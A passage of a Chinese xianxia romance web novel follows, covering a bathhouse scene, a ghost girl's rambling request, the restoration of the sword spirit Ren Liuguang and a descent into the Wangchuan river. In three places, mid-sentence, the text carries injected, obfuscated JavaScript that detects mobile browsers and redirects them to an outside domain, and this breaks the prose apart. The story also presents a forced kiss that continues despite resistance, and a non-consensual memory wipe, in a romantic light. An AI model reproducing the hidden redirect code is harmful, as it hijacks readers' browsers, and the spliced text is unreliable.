当欲战胜怜,便无法顾及那般多,他用力抽出她攥着的双手,扳过她的肩膀,将她抱上池沿,压在身下,捧住她的脸颊,望着她微闭的朱唇,脸颊骤然发烫,心随极快跳动,只刹那再听不见其它声音、想不得其它琐事,只顾送上急切又温热的吻。 像干涸的鱼被放入清澈的水中,像柴投入刚燃起的火焰,也像落下的雨遇见愿接住它的一双手。 他曾教她男女之别,而她教会他男女之欲。如此这般,也算以彼之道,还施彼身。 对着没有回应的她,他愈发放纵情怀,贪这一晌无言温柔。 忽然,他被轻推一下胸膛,他睁开眼。她长睫轻颤,眉头紧皱,呼吸也急促起来,似是即将醒来。于是,他便不闭上眼,直直盯着她的脸,唇却一刻也不愿离开。 片刻后,她陡然睁眸,眸中依旧有春雨濛濛之色,并不清醒,待眼神聚焦,落在他眼上,那片茫然很快转为不可置信。 郑含元脑中有一瞬空白,下一刻,他左手紧紧捂住她的眼,丝毫不因她醒来而停止,反而更加深吻。她的手想推开他,被他紧紧握住一只,另一只由她做无意义的挣扎。她想咬破他的舌或唇,他也由着她,始终不肯停下,任血腥味蔓延。 他不再蒙着她的眼,看她眼眸由闭到张,看她眸光像揉碎的梨花飘落在磅礴大雨里,不由将她搂得更紧,这时才肯恋恋不舍离开她的唇,转而移到她耳畔,低声呢喃道:“师姐,救我。” 他握住她的手腕,引她将手放在自己胸膛,感受灼热剧烈的跳动。 他吻吻她的鬓发,在她耳旁再次低语,“若若,救救我。” 渐渐的,他感到她的身子放松下来,不再紧绷,变得柔软,虽仍带着难以察觉的微颤,他看到她将比花瓣更红更软被他亲得愈发红润的唇轻轻闭上,看到她渐渐阖上双眸,敛去眸光。 而他的眸光却被她的似有似无的默许点亮,他比之前更小心翼翼更虔诚耐心地吻着她。 氤氲的水气缱绻温热。 正当他轻抚上她的腰,想解开缠绕着的素带时,她忽然睁眸,推开他坐了起来。 二人眼望着眼,眼中皆是一片茫然。 郑含元被她推到一旁,坐在她身边,还未从这般变化中反应过来,眼中热意仍未消,喉结微微滚动,低声问她:“怎么了?” 王心若低头眨了眨眼,又理了下微乱的鬓发,从腰间摸出玉简。 那玉简正发烫,散着幽幽银光。 郑含元茫然着茫然着也冷静下来,他拢了拢衣襟,语气冷下去,“谁?慕容修?” “扯他作甚,是来时遇到的一只鬼。”她平复一番呼吸,回道。 郑含元眼神变了又变,一副又气又想笑的模样,伸手想夺过那玉简,“就为这?” 王心若自不会让他夺去玉简,拿着玉简起身走到一旁。 郑含元看着她的背影,抚着额闭上眼,连叹气都失去兴趣。冷静一会,又跳下池子,催灵力一再把水温降下,甚至想把自己冰在池中。 王心若心中已是惊涛骇浪,只能背对着他缓解脸热。从那氛围中抽身而出后,充斥心头的是无尽的不可思议和陌生的熟悉感。 他怎么敢如此大胆? 她为何为那般反应? 心中有一处彻底乱了,那时怎会觉得这样暧昧的相处顺理成章,怎会因为听他的几句蛊惑便停止挣扎、任他妄为,这一切都背离她的一切既往认知。 她接通玉简,人头姑娘那跳脱的声音传来,让她终于冷静下来,有了几分实在感。 “仙长仙长,十二时辰到了,我按时来找你了!” 听到这聒噪的声音,郑含元愈发烦躁,但又只能忍着。 “嗯……你想让我帮你什么?” “仙长,我先给你讲个故事吧。” 若放在以前,王心若绝无耐心听她‘短话长说’,可此刻,她自己心中也不平静,便允了她。 人头姑娘说,她叫林果果,生前是厉川门下一名器修,境界不高,但于炼器一道极有天赋,容貌不差,家门有些底蕴,当年算是厉川门中一枝花。 生前,她曾炼成过一个法宝,那法宝唤作“轮回因缘镜”,外表看起来与人间铜镜类似,却能从中观前世生涯。 这轮回因缘镜原是她一时兴起的产物,但炼出来后很得师兄妹喜爱,不过不久便被掌门陆起没收。 陆掌门说,对低阶修士而言,随意窥探前世今生,并不是好事。 王心若有一搭没一搭接着她的话,“陆掌门说得有道理。” 林果果点点头,继续道:“先不说这个。在厉川,我有一位师兄,容貌俊朗,姿容不凡,我和他青梅竹马,一同长大,我原本是很喜欢他的,只要他不变心、不负我,我很愿意和他结为道侣。可我爹不同意,他嫌师兄不够优秀,嫌师兄在天界没什么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137508|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠山……所以,我爹想把我送到玄檀仙君那里做个妾侍。” 听见玄檀的名字,王心若头又微微疼起来。 “虽然玄檀仙君温柔之名天下皆知,据说和他好过的女修没有不喜欢他的。然而再好的温柔,分成一千分一万分也变得廉价。仙君是很好,容貌比我师兄俊美,身份比我师兄高贵,随手一撒的珠宝玉石,我师兄花三年也买不起。可我还是不想去仙君那里,更何况是去当个妾呢?我爹却说,宁为仙君妾,莫作贫人妻。毕竟仙君随手赏赐,便能让我一年玩乐不愁。” “我爹不接受我的想法,我也不接受我爹的,所以在一个月黑风高的夜晚,我和师兄决定私奔,天界那么大,总有我们容身之处,实在不行,我们就下凡。就这样,我和师兄过了三年东躲西藏却快乐的时光。” 她的声音渐渐低落,“那段时光真好,可是成鬼之后,记忆很差,许多时光都记不住了,就连师兄的模样我都忘了,我真想回想起来……” 王心若稍稍打断她,耐着性子问道:“所以,你想让我从陆起那里拿回轮回因缘镜,让你想起你师兄模样,回想起你们那段时光?” 林果果否认,说:“不是。那段时光后,我爹找到我,把我强行带回家,没多久,就把我当礼物一样送给玄檀仙君,我和师兄很难再见。可说来也怪,我从前很抗拒到仙君身边,可到他身边后,才发现他极温柔,他知道我心里有人,没有怪我爹的欺瞒,反而常安慰我,说如果我不愿待在他身边,他会放我走。” “可师兄那时在爹手上,爹说我若不安心侍奉仙君,便永远不放师兄自由。师兄生性放旷,怎甘愿一生被囚。所以,为了师兄前途,我只有好好待在仙君身边。” “但仙君真得很温柔,比师兄温柔,说话也好听,总能哄得人心花怒放,不像师兄,笨口拙舌。终于有一天,我发现,我可耻的移情别恋了……其实,这样就是最好的结局,爹能放师兄自由,我和师兄也好聚好散。” 她的声音失落起来,“和仙君在一起的那段时间,逍遥快乐,自在随心,十分值得怀念,可有很多细节我都忘了,实在可惜,若能有机会想起来,该多好啊……” 王心若硬着头皮问道:“所以,你想拿回轮回因缘镜,回想起你和赵玄檀的相处细节?” 林果果再次否认,“也不是。快乐的时光总归是短暂的,那日,我回府探望爹娘,没想到……那居然是我人生的终点。那一天,明明是那么平常普通的一天,我只是简单回个府,我居然被偷袭的修士杀了!最可恨的是,我连杀我的人是谁都不知道,我实在想不清楚,我到底得罪了谁,我好恨!” 她的声音激动起来。 王心若沉默一会,问她:“原来如此,你想拿回镜子寻到仇家。” 那边的林果果也沉默一会,似是被说中痛处。 半晌后,林果果忽然开口,语速极快地回她。 “仙长,其实是这样的。白骨郎君之前和我说他特别想要这面镜子,愿意高价买下,我想请你把镜子拿回来,我好和他完成这笔交易。” 王心若:…… 王心若面无表情地掐断了玉简的联络。 池子里听了半天的郑含元按捺不住怒气,隐忍许久的灵气喷薄而出。 那天,鬼帝大殿的塌了一角,没来得及跑出去的白骨郎君惨遭掩埋,爬了一天才爬出去,又花了三天才找齐自己的骨头。 27. 流光 27.流光 轰隆声过后,密室中一片尴尬的寂静。 若不是林果果打断,只怕已经发生了王心若想都不会想的极其可怕的事。 她冷静一会,才回身,郑含元背靠着池沿泡在水里,也不知脸上挂着什么表情。 总之,不会太温和就是了…… 其实何止不温和,郑含元想杀鬼的心情都有了。 她将身上烘干,平淡道:“走吧。” 郑含元正强行闭目养神,语气格外平静,“去哪?” “找流光。” “等会。” 王心若也不催他,从上到下好好理理衣裙,过会,郑含元从水池中出来,直接道:“走吧。” 二人心有默契地保持一定距离,比进来时疏离不少。 走出鬼帝大殿,一众鬼侍都瑟瑟发抖站在外边,只有郑小明睁着一双大眼,掩饰不住好奇地望着他们。 郑小明羡慕感叹:“十二时辰,塌了一张床,塌了整个殿,陛下太强了。” 白骨郎君赶忙捂住他的嘴,却和回头看来的郑含元一瞬对视,不知是那目光太过意味深长以使他紧张,还是刚从土堆里刨出来的骨头没拼装好,他的骷髅头啪叽掉地上,摸了半天才安回去。 郑含元喊他一声“白骨”。 “啊?” 他冷笑,耐人寻味道:“你—很—好。” 白骨郎君丈二和尚摸不着头脑,看着自家帝后渐渐远去,一脸懵逼。 郑小明八卦地戳戳他,“白大哥,我感觉你要完。” 白骨郎君想了很久,也没想到自己哪里得罪陛下,就算是洞房偷看那事,也不是他一人作案,凭什么就逮他一个! 郑含元和白骨说完话后,语气凉飕飕地对王心若道:“师姐真是乐善好施、矜贫救厄、宅心仁厚、侠肝义胆、有教无类,随处遇见个不知哪来的傻鬼憨鬼,也要帮她完成心愿,古道热肠令人钦佩。” 王心若眉头微皱,觉得他话中嘲讽意味十足,“别乱用词。傻鬼憨鬼怎不知从哪来,这不是你鬼域子民么?何种将军带何种兵,你治下能有这样的鬼也不稀奇。” “你!”郑含元气结,片刻才回道:“你别忘了,她生前在天界,脾性早就定型,非我鬼域之过。” “在天界如何,天界又不是我一人的天界。” 两人争不下去,最后得出一个统一的结论:“怪陆起。” 陆起带的什么弟子? 正在厉川修炼的陆掌门打了个大喷嚏。 二人来到忘川尽头,那里是一座绵延不绝的雪山,丰都纷纷落雪最后都会被清理落雪的鬼差堆砌于此处。 永夜下的雪山像落了一层烟雾朦胧的蓝灰色。 他们御剑上山,在半山腰,王心若发现隐约有错落的行人脚印,问道:“这里有人来过?” “这山有结界,只有我能来。” 越向上越有熟悉感觉,这堆琼积玉,层叠山岩,也将沉睡的记忆唤醒。 分明……和云渚雪山相似。 二人无声落在半山腰,有一座木屋,她跟着郑含元走进屋中。 木床边坐着一个男子,听到门边动静,他略激动地起身,“师兄,你来了。” 男子穿着淡粉衣衫,玉簪盘发,唇红齿白,本是极年轻喜气的长相,只是双目黯淡,连唇畔开朗的笑意也因之折损几分。 自当年云渚一别,王心若放他离去,二人已经很久未见。 来前,郑含元曾告诉她,任流光因惊鸿派之事已双目失明,精神错乱,不知今夕何夕。 亲眼看见比听传闻的冲击大上许多,进门时,王心若不禁放轻脚步,生怕惊扰他。 郑含元走到任流光身旁坐下,说:“老任,我今天带了个人,你一定很想见她。” 就在郑含元和王心若在等任流光反应时,他的笑容却忽然僵在脸上,面带惧色道:“我没有想见的人。” 郑含元问:“你之前不还说要见她么?” 任流光摇头,自说自话般低下头道:“我不见,我不见,我谁也不见。” 王心若上前一步,刚想轻轻抚上他肩头,任流光却忽然慌乱地爬上床缩到角落,惊慌失措喊道:“别靠近我!” 她的手就那样僵在空中。 郑含元神识传音给她,“许是他太痛苦,受刺激太大,害怕见你。” 王心若收回手,沉思一会,嘱托道:“你在这陪他,我出去找个东西。” 她走出屋,看这茫茫雪山,朝记忆中的方向走去。 * 任流光成为她的本命剑,是很早的事。 那时,除她外,师尊才收了三个徒弟,分别是郑含元、慕容修、许道淳。 师尊带他们去云渚剑崖,说他曾炼得几把绝世宝剑,要将之赠予徒儿。 剑崖外雕刻着这样的话: 锻思千年,问心万载, 任流光终难易,纵春秋亦不改, 追长生以游日月, 步无疆而观山海。 愿我意无忧,愿我行自在。 文中的锻思、问心、任流光、纵春秋、游日月、观山海就是这六把宝剑,除观山海是师尊自己佩剑外,其他宝剑都在洞中,任他们挑选。 一进洞府,王心若就被那通体金色、仿若渡了月华的任流光所吸引。 比起其他剑,任流光夺目又纤细轻盈,她很快就作出决定。 最后,慕容修选锻思,许道淳选问心,纵春秋归郑含元,任流光归她。 师尊告诉他们,只要常修炼,剑与主人总有一日可心生共鸣,灵气渐入宝剑,剑中生出剑灵,剑灵拥有自己的意识,可化成实体。 剑灵对他们意味着更多的玩伴,他们自然乐意之至,暗地里都在较劲,看谁的剑先生出剑灵。 为此,四人赌上自己的珍贵宝物,先生出剑灵的一人将得到这些宝物。 以上是王心若极带主观性的回忆。 实际上,其他三人兴致并不高,促成赌约的主要是她自己。 她兴致冲冲找师弟们下注。 郑含元正在树旁睡觉,被她推醒,衣衫不整坐起来,一脸无语说:“你幼稚不幼稚?” 慕容修正在亭中看书,被她打断,正襟危坐、语气认真回她:“修以为此事并无必要,师姐不如多练剑,兴许剑灵生得快些。” 许道淳正在喂鱼,被她拍肩,回头温和一笑,“师姐想要什么,只管问道淳要,不用赌的。” 师弟一个比一个无趣…… 不过最后,他们还是被自愿参与这场赌。 望着郑含元酿的酒,慕容修的剑诀笔记,许道淳自己刻的竹箫,王心若内心笑得极其欢畅,她悄悄回到房中,抑制着兴奋对剑道:“流光,你的方法真不错。他们拿出来好多好东西,到时候咱们对半分。” 原来任流光早就修出剑灵。 一缕金光从中飞出,唇红齿白、眉清目秀的金袍少年现形,嘿嘿一笑,“谢谢主人,那明天咱们记得演像一点,就当我们第一次见面。” 她点头应下,又道:“对了,你别叫我主人,怪怪的,就和他们一起叫我师姐吧。” 少年欣然答应。 翌日,计划如约进行,作为第一个拥有剑灵的人,王心若从师弟们言辞中听出几分艳羡。 当她抱着不劳而获得来的赌注正要离开时,师尊恰巧路过。 师尊问她:“心若,这些东西哪里得来的?” 她支支吾吾说不出一二三来。 师尊轻易取她神识中记忆查看,而后语气平淡道:“前日剑灵生,昨日骗师弟下赌注,今日满载而归。心若,你就是这样当师姐的。” 那时诸师弟皆在场,闻言眼神微变。 王心若感觉全场目光都集中在她一人身上,恨不得在地上挖个洞把自己埋起来。 师尊又望向一旁大气不敢出、恨不得把地面盯出个窟窿的任流光,“还有你,身为剑灵,心术不正,让主人跟你学这些歪门邪道,当真放肆。” 王心若只好把东西一一归还给三个师弟,然后和任流光一起,被罚跪在思过崖上,听慕容修讲《仪光剑诀》。 师尊说,她什么时候记住,什么时候可以站起来,什么时候学会,什么时候下崖。 慕容修是师尊的喉舌,是师尊的忠实拥趸,绝对不会接受她和任流光的任何贿赂,只会坚定不移贯彻师尊的思想要求。 听他讲课不到半天,两个人昏昏欲睡,任流光更夸张,整个身子都快栽到地上。 他身为剑灵,却对修炼之事极其不感兴趣。 许道淳怕他们跪痛,拿蒲团给她,不解道:“师姐,你要是想要那竹箫,直接和我说便是,何必如此迂回?” 王心若想了想道:“也没什么,我只是觉得那样比较好玩……哎,阿淳,对不起,我骗你们了。” 许道淳笑道:“这有什么要紧?说来师姐修成人形也才两三年,心性好玩很正常。待师姐下崖,我带师姐去我的家乡玩一玩可好?” 许道淳原是二重天凌虚空谷里一株柳,他的家乡就在那里。 王心若自然喜不自胜。 此时,郑含元也过来看他们…… 的笑话。 他说:“傻剑配傻人,你俩绝配。” 她盯着他不说话。 他说:“下次还骗不骗人?” 她撇嘴道“不骗了”,脸却因他前一句话,还有些气鼓鼓的。 他捏捏她的脸,假模假样叹道:“小师姐,你笨死了。” 她刚想去咬他的手,却被他塞了一嘴云絮果。果子软绵绵的,入口即化,只剩下甜味。 “北山那棵云絮树上结的,味道不错吧。”他挑眉相问。 王心若拼命点头,张嘴暗示他多喂点。 “懒死你,自己拿着吃。”郑含元把放满糖的袋子放她手上,“我去睡觉了,你们慢慢跟着慕容背剑诀吧。” 后面那几天,王心若和任流光困了就吃云絮果提神,一个不行就两个,两个不行就三个,越齁越提神。 终于硬是把剑诀背会学会。 没想到这只是她二人受罚的开端。 第二次受罚,是因为王心若用剑滑雪,原本二人玩得很快乐,她还想拉着郑含元一起玩,结果师尊忽然出现,拎着滑到半山腰的她回到山顶,冷眼看着任流光因惯性撞到巨大山岩上,在剑刃上磕出一个小缺口。 师尊说,剑可以用来行万里路,可以用来除魔卫道,但不能用来如此亵.玩。 师尊还说,任流光身为宝剑,却不自矜自持,反而任由主人玩.弄处置,着实没骨气。 师尊说得很严重,可她却很不明白。 这样不明白的事发生了很多次。 最后一次是因为任流光带她去地界玩。 地界那时尚未统一,鱼龙混杂,但也很繁华,比清冷天界热闹许多。 两个化形年龄相似,心性相似,好奇心极强的人,胆大包天地去了师尊口中的禁地,玩得不亦乐乎。他们甚至还运用咒法将自己伪装成妖,以免引起注意。 本以为快快乐乐回到家,这场地界之旅就结束了。 结果,在天门被当场抓获。 她至今都记得那种小心翼翼回家,却被发现他们偷溜去玩的师尊忽然喊住时,浑身发麻的惊悚感。 与之前不一样的是,师尊这次好像真得很生气,生气到那附近的温度骤然降低。 “王心若,任流光,你二人是愈发不把为师放在眼里。” 任流光看师尊眼色不对,明白此次不同以往,忽然开口道:“君上,此次带主人下界是流光的主意,流光知错,还请君上责罚,但主人是被我蛊惑的,此事与她无关,就不要责罚她了。” 王心若刚想说话,便被师尊打断,师尊望着任流光,忽然道:“原来,你倒是个识趣的,那就遂你心愿吧。” 师尊手中升腾起一簇烈火,烈火生出纵横锁链,将任流光团团包围,悬吊在空中。 “你虽知趣,但也要长些记性,别带歪你家主人。” 说完,任王心若如何求情,师尊也不理会,拂袖离去。 任流光剑性属寒,被烈火包围,自然十分痛苦。不一会,他额上便冷汗热汗混着流下,嘴唇和四肢都在颤抖,却未叫出声。 王心若又急又愧疚,“流光,是我带累你,我不该去那破地界。你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137509|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要把我那份罪责担下来?我们一起承担,也许你就不会这么痛苦。” “哎……有什么该不该……再说……这决定是我们一起做的,你有什么好愧疚……男子汉大丈夫,受些罪怎么了……”任流光脸色苍白无比,却仍呲着牙强笑回她。 “流光,谢谢你,我这主人没用,还得让剑灵替我受罚。” 就因为任流光愿意陪她玩,他自己也爱玩,所以他们两个成了沉静天界里最好动的人,也惹下许多师尊眼里的祸。 说白,还是她坑了他。 “别别别……”任流光赶忙道:“我没你想那么好……也不全是为你替罪,你别愧疚,千万别愧疚……” 他只是比较会察言观色,揣测神心。 因为疼痛,他笑得比哭还难看。 王心若红着眼看他,道:“流光,我以后会好好当师姐的,我明白了,只有我让师尊满意,你才不会受罚。” “其实……受罚也没什么……师姐这样就很好……做自己想做的也没什么错……我能忍得……”任流光疼得直哆嗦,牙齿打颤,话也说不清晰。 王心若看他如此痛苦,悔得肠子都青了,忽然想起郑含元说的云絮果,于是对他道:“你等着,我马上回来。” 她摘了一麻袋云絮果回来喂他,不断喂他,“多吃这个,分散分散注意力。” 倒也算有些效果,起码任流光脸色稍微好了些。 正因他说宁愿痛苦也愿保她一颗“玩心”,所以后面,她有能力后,也愿意让他做自己想做的事。 不必困宥于一人。 * 王心若来到北山,这里竟然真得开满云絮树。 原来这连绵雪山,的确是仿云渚雪山而成,就连什么地方有什么树都是一样的。 她摘完果子,不曾耽搁,很快回木屋。 任流光想把自己缩成一个点,连郑含元也不搭理。 王心若进门发出一些声响,他像受刺激一样拼命往墙角缩。 其实她后来也明白,在诸师弟中,任流光一直是最“圆滑世故”那个,他能揣测出他人想法,有时做一件事,能卖两个人人情,确实并非纯粹的良善之人,也许并不那么真诚。 可就是这样的人,也承受不住那般巨变,变成这样。 王心若每靠近一分,他便往里面缩一分。不知道是不愿意面对她,不愿意面对现实,还是不愿意面对以前的自己。 她拿出云絮果,放他嘴边,淡漠道:“张嘴。” 任流光摇头。 “张嘴。” 任流光害怕地往后躲。 王心若揪着他的衣领把他拉过来,一字一顿道:“任流光,给我张嘴,吃下去。” 任流光尖叫着打翻她手上的果子,求助得喊郑含元,“师兄救命!” 郑含元转过身去,对她所做的一切表示默许。 任流光见他不理会自己,情绪愈发崩溃,只能拼命挣扎,躲避王心若揪着他衣领的手。 她看他像幼稚的孩童又哭又叫,沉默一会,道:“流光,你这样,永远也做不了想做的事。” 刺耳的叫声里,她这句话说得极其平静轻淡。 可却让他瞬间安静。 “我有办法复活他们。”她又道。 气氛一度沉寂。 任流光忽然道:“不可能!神罚而死根本无法复生,你骗我,你只是骗我而已……” 眼见他行迹又癫狂起来,王心若继续道:“那个神死了,他们就会回来。” “神根本不会死!你骗我!” “神会死,流光,信我好吗?” “我凭什么信你?就算你法力高强,你比得过神么?就算你能伤他半分,天谴马上就到,你能躲过么?根本不可能,根本没用,根本报不了仇,根本救不了他们!” “任流光,我可以。”王心若认真望着他。 在她克制冷静的声音里,任流光逐渐沉默。 她伸手给他看腕上的红玉镯,又想起他看不见,便问:“你知道什么是禁镯么?” 郑含元闻言回头。 任流光摇摇头。 她敛眸,静默片刻,终是开口。 “禁镯,能锁住人的情.欲,锁住人的善良、锁住人的软弱,锁住人的怜悯同情……对我而言,虽不完全,但也够用。只有让我的血冷下来,心硬起来,我才能狠心做出一个慎重而近乎完美的决定。早在五百万年前,为了弑神,我便放弃了自己。” “有一种死而复生的修炼方法,我试验多年,终获成功,因不在天地规则内,天界将之称为‘邪法’,他们还总结为‘四时纯阴体,七星白棺阵’,也就是炼制鬼王的方法。可他们一开始就错了,那只是它的简化,最终目的也不是颠覆三界,只是为找到一种让我更强的方法,因为我不知道,神到底多强,而按天地规则,我的修为已无法进境。” “这个方法,我既用在本体,也用在历劫的分.身。仙人历劫时只会成为没有灵根的凡人,只有用这个方法,她才能登上仙途,按着冥冥中的引导,用她的生命……引出神的天劫。而我,将会在神历天劫时,成为验证这方法是否成功的第一人。” 任流光久久不能回神,似在消化她话中信息,他颤着双唇问道:“可伤神一分,你便即刻遭天谴,你如何杀他……” 王心若忽然轻笑,捋开他额前一缕散发,道:“所以,我不是仙。” 在任流光和郑含元震惊的神色里,她那双温柔冷静的眼眸渐渐变成赤色。 “我是魔,弑神,不会遭天谴。” 成仙与堕魔,有所得必有所失。境界越高,堕魔后运灵越痛苦,这一点,郑含元再清楚不过。 可她那么平静。 一旁的郑含元已然怔住许久。 诸仙之长,是魔;天界之光,是魔。说来多可怕又多可笑的事。 他甚至不知她何时成魔。 王心若俯身,望着任流光,言语冷静又沉重。 “流光,相信我,我可以,若我不可以,世上无人可以。信我,或者继续堕落下去,你只有这两条路可走。你应重新成为我的佩剑,与我共战共进退。我们这次,赌大的。” 28. 忘川(1) 28.忘川(1) 任流光握住她手腕,碰到红玉禁镯,摩挲良久,终是低下头,任泪水无声滑落。 那两个字在喉头徘徊,从未有如此沉重过。 “师姐……”他的额碰着她的手背,“师姐,对不起,对不起,对不起。” “现在,愿意把这些吃了么?吃完,好好化剑修炼,我等你重绽光芒那一天。”王心若抚他的鬓发安抚道。 她把云絮果递给他,看他一口一口吞下去,险些噎着。 任流光口中全是泪水的咸味,云絮果的甜味也变得酸涩,他逼着自己把果子吞下,很快,袋底见空。 他平复呼吸,盘腿坐在床上,扫除记忆的尘埃,回想脑中早就生涩的法咒,双手交叠,默默念道:“剑灵归,剑身成,不肖弟子任流光归位六剑,今后必奉上仙王心若为剑主,谨遵剑主契旨,此世再不相违。” 随着他的话语,淡淡金光自手中倾泻,冷暖交织的剑风喷薄而出,他睁眸,瞳仁流动着燃烧般的金光,身上衣衫悉数变化,重新化为当初耀眼的金色。 刺目金光乍射,他的身躯渐渐透明,化为一缕烟,绕着空中勾勒出剑形。 光渐散,剑渐成,三尺五寸金光长剑竖立空中,剑柄镂龙凤纹,剑面如渡璨璨月华。 王心若握住剑柄,将剑自空中取下,光芒渐消,剑鞘自成,裹住剑身。 “流光,最终还是让你成为我手中一把剑了,但愿我们都能成。” 她把任流光和游日月交叉背在身后,然后望着沉默已久的郑含元,道:“去忘川,陪我找阿淳吧。” 郑含元上前拦在门口,“你就没有什么想和我说的?” 她抬眸,“说什么?” “为什么?” “什么为什么?” 他握住她的手腕,望着那红玉禁镯道:“为什么?为什么要这样对自己?” 王心若想抽出手腕,却被攥得更紧,“你放手!” “我不放!你不是已经把弑神的任务交给我了么?你为何出尔反尔?我是魔,我一个人就可以,王心若,你跟着瞎掺和什么?放着好好的仙不当来当魔,你是不是疯了?” 她见挣扎不开,便就此作罢,冷言回道:“你胡说,我什么时候交给你了。” 郑含元俯下身来,望着她的眼道:“你不记得不要紧,我来告诉你,你最后一世情劫是跟我,你炼的那个自己跟了我,你跟我好了,你王心若跟我郑含元好了!你亲口说让我趁扶光天劫去杀他,我答应了。你不信,我把神识抽出来给你看!” 王心若不去看他目光,背过身往外走,“鬼里鬼气,胡言乱语,谁知道你会不会篡改什么!” “我胡言乱语?我篡改?好好好,你不信我可以,我们现在就上天界去找陆起,让他把林果果那破镜子交出来,我用那镜子照照你,让你知道自己都做了什么!”他也走出去,拉着她跟在后面。 她停下问:“我做了什么?” 郑含元走到她身前,“你亲我,你睡我,你找我双修,过后你还不负责。这就是你,王心若。” “郑含元,你不要脸!” “我不要脸你要脸,堂堂诸仙之长敢做不敢认?薄情寡义,过河拆桥,始乱终弃!” “你——”王心若说不过他,二人对视半晌,她忽然冷笑起来,抓着他的衣领,把他往自己身前拉,狠狠亲上去,而后脸不红心不跳问道:“我薄情寡义怎么了?过河拆桥怎么了?始乱终弃怎么了?你能怎样?” 郑含元本在气头上,被她忽然一吻弄蒙了,大脑一片空白,过了好一会才道:“你……” 话没说出口,又被拉过去亲了一口。 虽则每次都是蜻蜓点水,但也足以让他无法正常组织语言。 郑含元彻底说不出话,握着她手腕的手也渐渐松开,待反应回来时,那身影已经御剑而去。 他赶忙追上前,语气温和低沉下来,道:“我只是……想你信我一次,你能做的事,我也能做到。” “是吗?我能封印你,你能封印我?” “你——” 郑含元默默在心中回想几遍那个吻,然后平心静气道:“再不济,你让我和你一起,有什么结局我们一起担着。你不要总是一个人。我希望你累的时候,也能有个肩膀依靠,而不是什么都自己做,我是希望你能轻松一点,开心一点,就像很久很久以前那样。明明只要你愿意回头,我就会在你身后,你为什么总不愿呢?” 王心若望向他,难得笑了,他从笑容里看到些旧人影子。 “含元,我把你封在无边黑暗中,你有没有恨过我?” 郑含元一愣,敛眸回道:“恨过。” “你应该恨的。”她道,“你刚刚说这的话,让我很开心,真的。其实这些年,我一直觉得什么都是淡淡的,好像再也没有办法感受正常的喜怒哀乐,可是你刚刚说的话,我听了,很开心。” “你还记不记得,很早很早的时候,你教我走路,我经常摔倒,有一次摔得痛了,我就哭了,你在旁边说,‘小师姐,你要坚强点,这才多长一点路,如果起不来,可就太丢人了’。” “现在我做到了,我足够坚强了,这条路我能走下去,走完之前,我希望你好好的。” 郑含元闻言,只觉得心中一阵钝痛,他不知该说些什么,抚上她脸庞,望着她柔软下来的眸光,“你没必要,我可以……” 话还没说完,他感到忽然有宛如丝线的东西侵入识海,看着她有些歉疚的目光,他反应过来,愤怒情绪陡然升起,道:“王心若,你不可以这样,你不能连我知道你在做什么的资格都剥夺!” 那丝线极霸道,速度又快,他只挣扎了一瞬,原有的部分记忆便消除了。 待他回神,只听到王心若淡漠的声音,”别走神了,快走吧。“ * 雪山是忘川源头,但此处的忘川河水清澈如雪,显然不是她之前探测过的血黄色。 忘川河之所以颜色浑浊、阴风阵阵,是因为里面浸泡着许多孤魂野鬼和他们的哀怨痴缠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137510|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沿着河流寻觅,穿过丰都鬼城,走到冥京界门,忘川河便从一条小河变得宽阔起来。河岸上开满枯树红花,河水上流动着百千灯盏,漆黑空中散着化不开的阴风雾气,零星火光在雾中散开,越发朦胧。 此岸到彼岸架着桥,新魂旧鬼来往不绝,河上也有摆渡人,撑一支长篙,站在小舟上,载着鬼怪随波而去。 王心若放眼望去,始终看不到熟悉的面孔,可她隐隐觉察到似曾相识的气息就在附近。 终于,她将目光落在忘川水下。 她问郑含元,“这下面有什么?” “太久不在,我也不知道。” 没等郑含元反应过来,她掐了个避水诀,干脆利落地跳了进去。 就在她感到被水包围住时,空间发生极速扭曲,世界一阵颠倒,水消失了,而她跌落在一片草地上。 她睁眼,空中依旧是散不去的雾气,却不是阴诡雾气,而是绵雨初霁时的林间清雾。天空也不是夜的漆黑,反而很明亮。 她起身望去,旁边只有一条潺潺小溪,水光清澈,极其清浅,掬一把清水,没有任何变化发生。 等了片刻,郑含元并没有出现。 她略带疑惑向林中走去,忽然听到熟悉的声音。 “师姐,这就是凌虚空谷,我的家乡。之前和你说要带你来,便向师尊请示,没想到师尊真得应允了几日,说让我带着大家都出来看看。” 是许道淳。 难道……她在跳进忘川的一瞬,接通了他心魔的识海。 她刚想上前,又听到另一人的声音。 “小师姐,你跑慢点吧,跟个脱缰的疯兔似的,小心摔个狗吃屎!” 这声音不耐又无奈,是郑含元。 “师姐,还是小心为上。”是慕容修的叹息。 